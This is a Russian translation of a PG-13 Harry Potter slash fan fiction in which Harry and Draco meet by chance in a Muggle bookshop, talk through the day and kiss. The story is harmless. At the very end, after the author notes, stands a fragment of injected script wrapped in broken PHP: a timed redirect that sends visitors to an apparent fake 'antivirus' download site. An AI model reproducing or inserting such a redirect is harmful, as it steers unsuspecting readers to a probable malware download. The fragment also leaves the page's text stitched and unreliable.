Все началось в книжном магазине

Автор: Plumeria
Переводчик: Moriellазрешение на перевод получено)
Оригинал: здесь
Pairing: Гарри/Драко
Рейтинг: PG-13
Жанр: слэш, romance
Summary: никогда не знаешь, чем кончится день
Disclaimer: все персонажи, идеи и т.п. принадлежат тете Роулинг.
Размещение: да пожалуйста, просто дайте знать

Гарри просматривал колонки названий произведений научной фантастики и фэнтази перед ним, надеясь найти что-нибудь интересное. За завтраком он решил, что хорошая книга может помочь ему расслабиться в этот теплый летний день. И вот Гарри здесь, в магловском книжном магазине на углу, ищет чем развлечься в свой выходной.

  Он взял книгу с полки и посмотрел на заднюю обложку. Kingmakers Sword. Может эту? Он улыбнулся: с тех пор как Гарри узнал о том, что он волшебник прошло более десяти лет, а у него все еще есть пунктик по креативной магии, которую используют в жанре НФ/фэнтази. Многое из этого настолько нелепо, что истории становятся еще более развлекательными. Но иногда у какого-нибудь автора появлялась дельная мысль, и Гарри использовал некоторые из этих идей в собственной работе. Коллеги–авроры постоянно восхищались «его» нововведениями, и отказывались верить, что вдохновителями были какие-то писатели-маглы. Их совершенно не переубедило то немалое количество книг, что Гарри им показывал.

Пройдя немного дальше вдоль полок, он остановил взгляд на другом названии: The Hitchhikers Guide to the Galaxy. Широкая улыбка осветила лицо брюнета, когда он вспомнил историю. Гарри начал читать ее еще в ранней юности, после того как нашел книгу погребенной под кучей вещей в доставшейся ему от Дадли комнате. Очевидно, кузен получил ее в качестве подарка и бесцеремонно отшвырнул не прочитав. К несчастью, однажды увидев как Гарри над ней хихикает, Дадли немедленно ее сгреб, шумно заявляя, что это «его». Потому Гарри так никогда и не дочитал книгу, но он помнил насколько веселой она была. Да, это был шанс – он нуждался в чем-то легком, чтобы отвлечься от серьезности своей нормальной жизни. Брюнет умело вытащил роман с полки и зажал в руке вместе с первой книгой.

Вооружившись, таким образом, материалом для чтения, Гарри начал продвигаться к кассе магазинчика, протискиваясь по узким проходам. Однако, дойдя до секции «Мистика», он обнаружил, что путь заблокирован другим покупателем, который был с головой увлечен своим выбором книг.

- Э… Извините.- пробормотал Гарри легко касаясь руки мужчины.- Могу я…- Но слова умерли у него на губах, когда другой покупатель поднял голову.

- Малфой? Драко Малфой?- Гарри не верил своим глазам. Однако, нельзя было не узнать эти серебряные глаза и бледное заостренное лицо.

- Поттер,- протянул знакомый голос, с намеком на вялую улыбку.- Ну, ну. Мы снова встретились.

Гарри растерялся. Единственное, что ему пришло на ум - это спросить:

 - Что ты тут делаешь?

- Стригу дракону когти.- Драко закатил глаза.- Что по-твоему я могу здесь делать? Ищу что-нибудь почитать, как и ты. Неплохая идея, это же книжный магазин.

- Да, но это магловский книжный магазин,- прошипел Гарри, благодарный, что  в данный момент других  покупателей, вроде, поблизости не было.- С каких это пор ты читаешь магловскую мистику? Вообще желаешь иметь что-то общее с магловским…ну, чем-либо магловским?

- С тех пор как был в серьезных отношениях с маглом около трех лет назад.- сказал Драко с нетерпеливым вздохом.

Гарри уставился на него. – Ты встречаешься с маг…

Драко взмахнул рукой, обрезая недоверчивый ответ Гарри. – Был. Я встречался. И, Поттер, до того как ты продолжишь, позволь мне заметить, что здесь действительно не место для игры в двадцать вопросов. Если ты продолжаешь настаивать на допросе с пристрастием, то, может, мы куда-нибудь пойдем, где можно сперва  хотя бы присесть?

- Умм…- задумался Гарри. – Ну, э, моя квартира неподалёку, вниз по улице. Еще есть чайный магазин за углом.

- Что? И упустить шанс посмотреть, где живет знаменитый Гарри Поттер? – Драко ухмыльнулся. – О, нет… это слишком хорошая возможность. И, в любом случае, я никогда не имел пристрастия к чаю.

Пока они шли  по улице, Гарри присматривался к своему неожиданному попутчику. В чем же дело? С их последней встречи прошло  лет пять. Может шесть? Что-то около того. За это время его прежнее наказание превратился из холодно сияющего подростка в мужчину. Ну, кхм. Ты тоже, Гарри тихо себя выругал. Он должен допустить - Драко очень привлекателен: он стал, может, на дюйм или два выше Гарри, его светлые волосы стали немного длиннее и выглядят чуть растрепано. Он был одет вполне подходяще для магловского мира: обычные, довольно обтягивающие, джинсы, черно-зеленая безрукавная футболка с высоким воротником и треугольным вырезом. Да, результат был крайне привлекателен. Гарри потряс головой, прогоняя подобные мысли. Сама идея, даже отдаленная, о привлекательности Драко Малфоя несколько коробила. Миловидный молодой волшебник, помощник Тома в Дырявом Котле, это одно, но Малфой? Нее.

Решительно выпихнув из головы мысли о внешности Драко, Гарри направился к скромному каменному зданию, и вверх по ступеням на третий этаж. Затем он повернул ключ и открыл двери.

- Ну вот. Мы пришли. Все довольно обычно.

- О, я не знаю,- ответил Драко, переступая через порог и оглядываясь,- вообще-то неплохо. Для магловского места. Ну, так почему ты решил жить здесь, а не в одной из магических квартир в городе?

Гарри пожал плечами. – Я вырос с маглами, и Гермиона тоже. Мы к этому привыкли. И аренда была дешевле, если сравнить сумму в фунтах и галеонах.

- Значит, Грейнджер тоже здесь живет? То есть вы, ребята,…

- Нет,- кратко ответил Гарри.- Все об этом спрашивают. Она с Роном. Он тоже тут живет… они в прошлом году поженились. Но у них есть дополнительная комната и они не против делиться местом со мной, ну и вот я тут.

- Всегда три мушкетера,- сухо заметил Драко, присаживаясь на один из кухонных стульев.- Ну, и где твои соучастники преступления?

Гарри ощетинился на тон собеседника, но придержал язык. В конце-концов, это была  самая цивилизованная беседа за все их знакомство, и он не хотел это разрушать. По крайней мере, пока. Кроме того, Гарри все еще горел желанием узнать, как Драко начал встречаться с маглой. Поэтому он подавил свой гнев и просто ответил: - На работе. Рон – инженер Нимбусов, а Гермиона работает в Министерстве по магло-магическим связям.

- А,- ответил Драко. Гарри приготовился к саркастическому замечанию, но так его и не дождался.

- Так, э,- он открыл несколько кухонных шкафчиков.- Будешь что-нибудь? У нас есть чай…о, нет, ты сказал, что не любишь чай…э…кофе, тыквенный сок, Кола… это вид магловского безалкогольного напитка…

- Я знаю что такое Кола, Поттер.

- Что? А, да, тот магл. Ну, выбирай; это если ты, конечно, не хочешь простой воды.

- Э, тыквенный сок вполне подойдет.- Драко ответил, безразлично пожимая плечами. – Давно уже его не пил.

Гарри налил каждому по стакану знакомого оранжевого напитка, и поставил их на  стол вместе с небольшой упаковкой бисквитов.

- Я уже давно завтракал,- пояснил он присаживаясь. – Обычно я встаю довольно рано.

Его гость кивнул без комментариев.

Они сидели в тишине несколько минут, отхлебывая сок и жуя бисквиты, пока Гарри не поставил стакан и не посмотрел выразительно на своего бывшего соперника.

- Ну, теперь, когда ты увидел мой ужасный, не производящий глубокого впечатления дом и получил возможность посидеть, может, расскажешь, как ты начал встречаться с маглом, полюбил магловские книжные магазины и стал узнавать магловские напитки?

Драко вздохнул и поставил свой стакан рядом с гарриным. – Ладно. Ты хочешь знать? Так вот. Около трех лет назад я был на квиддичном матче – Гигантские сороки против Объединенных лужемеров – ты, кажется, хочешь узнать все в подробностях – и так получилось, что я сел рядом с Даной (русским аналогом можно назвать имя Саша- прим перев.). Брат Даны играл ловцом за Сорок и мы завели беседу о стилях полета и тому подобное. Мы понравились друг другу и закончили поздним коктейлем…а потом ранним кофе.- Он ухмыльнулся, видя открытый рот Гарри.- Брось, Поттер. Сейчас новое тысячелетие. Что тебя так шокирует? Ну да ладно,- он продолжил,- только спустя несколько недель я узнал, что Дана магл. Там, вообще-то, вся семья маглы, кроме Стюарта, брата.

Ну, после ночи мучительных раздумий, я понял, к своему долгу, что я по-прежнему заинтересован. Со стороны Даны потребовалось много снисходительности и терпения, но, в конечном счете, я привык находиться рядом с маглом и многое делать по-магловски. Я все еще тратил много времени на подчеркивание гораздо большей трудности неволшебной жизни и мы много ссорились по этому поводу, но это у нас скорее вошло в привычку. Вот например: я им говорил, что глупо пользоваться для стирки машинкой, чтобы потом еще заниматься развешиванием и сушкой. Они отвечали, что солнечные лучи лучше простого стерильного эффекта от магической чистки одежды. Ну, ты понял.

- Ага,- рассеяно сказал Гарри. Он все еще пытался переварить мысль, что, несмотря на ставшие ритуалом споры, Драко умудрился свыкнуться с магловским миром.

Гарри взглянул в окно на теплое летнее солнце. Что ж, если ад замерз, то этого пока не видно.

- Так чем ты занимаешься?- Гарри спросил кусая сэндвич. Они провели остаток утра разговаривая и, в конечном счете, мыль о ланче показалась благоразумной. Быстрое аппарирование в «Дырявый котел» решило проблему, и теперь они уплетали выбранные блюда за столиком в углу.

- Хорошо, я тебе скажу, но потом мне придется тебя убить,- Драко ухмыльнулся над своей тарелкой рыбы с чипсами.

Гарри поднял бровь. – Я рискну.

- Вообще-то я серьезно. Я Неназываемый. Я не могу сказать больше.

Гарри подумал, что узнанное им сегодня уже могло бы подготовить к подобному, но, все равно, услышанное его просто потрясло. – Серьезно? В…в Министерстве?

- Ты знаешь другую организацию?

- Нет. Ух ты. Хорошо. Я просто не ожидал этого.

- И чего же ты ожидал? Позволь догадаться – Пожиратель Смерти.

- Да. Нет! Я не знаю. Я об этом не задумывался.

- На самом деле, все знания по Темным искусствам, полученные мною в детстве, оказались очень полезными для моей работы. Как средства борьбы с ними.

- Ха! Значит, я был прав – я знал, что твой отец еще в школе учил тебя Темным искусствам!- Гарри не мог не позлорадствовать. Затем он прикусил губу, увидев застывшее лицо Драко.- Извини, Малфой, мне жаль.- Он забыл, что Люциус умер от рук его соратников-Пожирателей несколько лет назад.

- А мне нет.- кратко ответил Драко.- Он многому научил меня…темному.  Большинство из этого совершенно ужасно. Это знание мне теперь полезно, но я бы не пожелал такого никому. В любом случае, отец отрекся от меня, когда я присоединился к другой стороне – в ночь когда я должен был получить Темную Метку.- Он бросил салфетку на стол и отодвинул пустую тарелку.- Поверь мне. Без отца моя жизнь стала намного проще.

Гарри снова посмотрел в окно. Неа. Все еще нет признаков, что ад замерз. Он снова взглянул на блондина напротив.- Хммм…Раз ты такой эксперт, может мне стоит спросить у тебя о некоторых особенностях образа мышления Пожирателей Смерти,- ответил он, пытаясь придать беседе более жизнерадостную окраску.- Я аврор.

- Я знаю.

- Да? Откуда? Нет…погоди. Ты мне скажешь, а потом убьешь.

- Ты всегда хватал на лету, Поттер.- с усмешкой ответил Драко.

- Похоже надвигается буря,- заметил Гарри подходя к окну в гостиной с фотоальбомами в руках.

Драко поднял голову со своего места на софе.- Наверное, одна из этих, летних.

- Наверное.- Гарри сел рядом с ним и открыл один из альбомов.- Ты хотел узнать, как я жил эти пять или шесть лет, тогда смотри. Это одно из моих путешествий в Соединенные Штаты – я поехал туда пока у Рона и Гермионы был медовый месяц.

- Ты умудрился отлепиться от них? Я впечатлен. – развеселился Драко.

- О, заткнись.- Гарри шутливо толкнул Драко плечом. За прошедший день двое мужчин начали чувствовать себя намного более комфортно в обществе друг друга. Гарри знал, что поддразнивания Драко не злые, как это было в детстве. – Мы много времени проводим по отдельности. Например, весь день на работе. И я уж точно не собирался болтаться рядом с ними во время их романтического путешествия на Таити.

- Мммхммм,- пробормотал Драко, перелистывая страницы.- Не знаю…похоже у тебя самого было довольно романтическое путешествие,- он указал на фото Гарри и еще одного мужчины, стоящих перед водопадом.- Кто это был и где ты его нашел?

Гарри покраснел. – О. Умм…Это было около Портленда, штат Орегон – там много стелящихся растений и водопадов, все действительно такое зеленое. А это Дерек. Я встретил его в местной гостинице для магов. Наши отношения не продлились дольше этого путешествия.

- Плохо. Вы вдвоем отлично смотритесь.

Гарри задохнулся. – Да? Ты увидел фото меня и другого парня и нет никаких язвительных замечаний?

- Ты ожидаешь от меня каких-нибудь резкостей?

- Ну…да. Разве это не твоя обычная реакция?

Драко поднял бровь. – Хмммм…Резкости по требованию…Как насчет «Я бы желал быть поблизости, когда вы разошлись, чтобы сразу же подобрать его себе»?

Гарри уставился на блондина.- Ты…Ты не…

- Не что? Не интересуюсь мужчинами? Ты уже забыл, как допрашивал меня утром про Дану?

- Дана – парень?

- Да, Дана парень,- первый раскат грома прозвучал как-то саркастично, но весьма отчетливо.

- Что ж, прошу прощения, что не разбираюсь в именах с нейтральным полом,- отпарировал Гарри. Он откинулся на диванные подушки и скрестил руки. – Ладно, говори. Расскажи больше о Дане. Дане-парне.

Драко застонал. – Лыко мочало – начинай сначала.

- Ага,- ухмыльнулся Гарри. – Это все меняет. Я хочу все о нем узнать.

- Это ничего не меняет,- досадливо сказал Драко.- Я встретил его на квиддичном матче, узнал, что он магл, решил все равно с ним встречаться. Мы были вместе два года. Конец истории.

- Всё?

- Всё.

- И никаких историй типа «он был любовью всей моей жизни»?

- Поттер, мы же говорим обо мне,- закатил глаза Драко.- Если тебе нужны слащавые истории, я уверен, твои соседи по квартире их предоставят.

- О, отлично,- проворчал Гарри. Затем он выругался, когда молния снова сверкнула и свет неожиданно погас. – Черт!

Он услышал легкий шорох ткани, когда Драко вытащил палочку из…чего-то.

- Люмос,- прошипел блондин. Потом он усмехнулся Гарри в тусклом свете палочки. – Видишь? Вот прекрасная причина жить в магических квартирах. Вы слишком зависимы от электричества.

- Язвишь,- Гарри вытащил собственную палочку и начал продвигаться по темной комнате, зажигая свечи. – Это же не значит, что у нас нет обычных для волшебников вещей. Просто мы пользуемся смесью из магловских и обычных предметов, в зависимости от того, что проще. Поверь мне -  в повседневной жизни электрические лампы и удобнее и чище.

- Зануда.

Гарри закончил зажигать свечи. – Ну вот. Теперь счастлив?

- Ага.- Драко положил палочку обратно во внутренний карман рубашки. Гарри увидел мелькнувший участок гладкой груди, когда рубашка слегка оттянулась. Он отвернулся.

- Так, э, на чем мы остановились?

- На парнях.

- О. Точно.

Но никто из них не продолжил тему. Вместо этого, они стояли в тишине, наблюдая за грозой.

- Знаешь,- наконец пробормотал Гарри,- если бы за завтраком мне сказали, что я проведу день с тобой и мне это понравиться, я бы подумал: кто-то подлил ему в чай зелья иллюзий. – Он криво улыбнулся стоящему рядом мужчине.- Серьезно, Драко… Хотя ты и ухитрялся удивлять меня раз в 47 секунд минимум, я хорошо провел время.

Драко улыбнулся в ответ.- Не забудь про сердечные приступы каждый час. Наверное, ты знаешь, что у меня строгий план на каждый день, даже выходной.- Он хмыкнул.

- Что смешного?

- Я только сейчас понял – думаю, это первый раз, когда ты назвал меня по имени.

Гарри нахмурил брови. – Ха. Я даже не заметил. Просто…вырвалось. Вероятно, это потому, что между нами сегодня все совсем по-другому.- Он взглянул на собеседника с легкой улыбкой.- Но если хочешь, я снова начну тебя ненавидеть и называть Малфоем.

- Ах, старое доброе время,- вяло ответил Драко.- Хотя, с моей точки зрения, тогда было довольно весело.- Он пихнул Гарри локтем,- Помнишь полночную дуэль?

- Ту, на которую ты «забыл» прийти? Как я могу не помнить?- Гарри вздохнул,- Не порть момента Малфой. Я наслаждаюсь новизной пребывания с тобой наедине.

Драко театрально положил руку на сердце. - Мы вернулись к Малфою так скоро? Ах, как вы, гриффиндорцы, непостоянны!- и уже нормально продолжил,- Если отбросить шутки в стороны, то я тоже хорошо провел время. Ты изменился.

- Я изменился? Кто бы говорил – ты почти неузнаваем. Но все к лучшему, я бы сказал. Хотя, по шкале улучшений ты мог двигаться только вверх.

- Спасибо, старик. Но ты тоже изменился.- повторил Драко снова становясь серьезным.- Ты кажешься более уверенным, надежным. Ты можешь посмеяться над шуткой, не принимая ее близко к сердцу. Ты, кажется, знаешь чего хочешь, и не извиняешься за это, даже если это значит жить как магл. Но ты и не чрезмерно замкнут.- Глаза Драко блестели как сланец, когда он посмотрел на Гарри.

Этот взгляд как будто приковал Гарри к месту. Настроение в квартире внезапно сменилось и он понял как близко другой мужчина стоит. – Чего я хочу…- мягко повторил он.

- Гарри…

Гарри даже не заметил, что его назвали по имени. Он совершенно потерялся в этих серых глазах. Так близко…в футе…в шести дюймах…а потом мир потемнел, когда Гарри закрыл глаза в автоматическом ответе на поцелуй Драко – легкий как пух, мягкий как шёлк.

Они отпрянули чтобы оценить реакцию друг друга. Гарри считал, что должен быть шокирован, но после всего случившегося сегодня между ними, он чувствовал естественность этого жеста. Прошел всего один день, но они стольким поделились, что казалось прошла целая жизнь. Серые глаза отражали море эмоций, но Гарри мог точно сказать - Драко чувствует то же самое.

Затем, не говоря ни слова, Драко мягко приблизился и нежно снял с Гарри очки.

- Что ты делаешь?- прошептал Гарри.

- Убираю их, чтобы я смог поцеловать тебя лучше.- пробормотал Драко в ответ, снимая очки. Гарри обдало жаром, когда их пальцы соприкоснулись, и он почти отбросил металлическую оправу. Затем губы Драко снова накрыли его, и он больше не думал об очках. Время остановилось – мир остановился. Существовали только они двое – изменившиеся, повзрослевшие, слившиеся воедино как они даже представить себе не могли.

Ключ затрещал во входной двери и замок со щелчком открылся.

- Уф, что за ночь. Там льет как из ведра и…О!- В дверях стояла Гермиона с мокрым зонтиком в руках, оцепенев от вида Гарри и Драко, обнявшихся в ее гостиной.

У Гарри заняло некоторое время, чтобы понять, где он находится, и его первой реакцией было недовольно взглянуть на Гермиону за вмешательство. Всё чего он хотел – это вернуться к тому волшебному моменту единения с Драко. Затем, тряхнув головой, он позволил реальности вторгнуться; Гарри высвободился из объятий Драко и надел очки, слабо улыбаясь подруге.

- Извини, Герми. Мы не заметили как пролетело время.

- Мы?- Гермиона игриво взглянула на обоих мужчин.- Или вы хорошо скрывались или у вас был насыщенный день.

Ответил Драко.- Был, действительно, интересный день.- Он обернулся к Гарри и пробормотал,- И я бы очень хотел превратить его в интересную ночь, но не думаю, что мне хочется это делать при свидетелях.- Он ухмыльнулся выражению  Гарри, и сказал уже громко, направляясь к двери.- Думаю, мне пора домой, ужинать. Я завтра пришлю тебе сову, если ты не против, Поттер?

Гарри молча кивнул, пока Драко обходил Гермиону, направляясь к лестнице.

Гермиона посмотрела как он уходит, затем закрыла дверь и обернулась к другу,- Начинай.

Со вздохом Гарри вытащил один из кухонных стульев и плюхнулся на него. Он знал: подругу ничем не сдержишь, если она решила что-то узнать. По крайней мере, так он сможет заново пережить весь день, включая невероятный поцелуй в конце. – Ну,- начал он пока Гермиона суетилась вокруг собирая на стол,- все началось в книжном магазине…

** Автор Kingmaker's SwordЭнн Марстон
 Hitchhiker's Guide to the GalaxyДуглас Адамс.

Обсуждение на форуме

setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);'); } ?>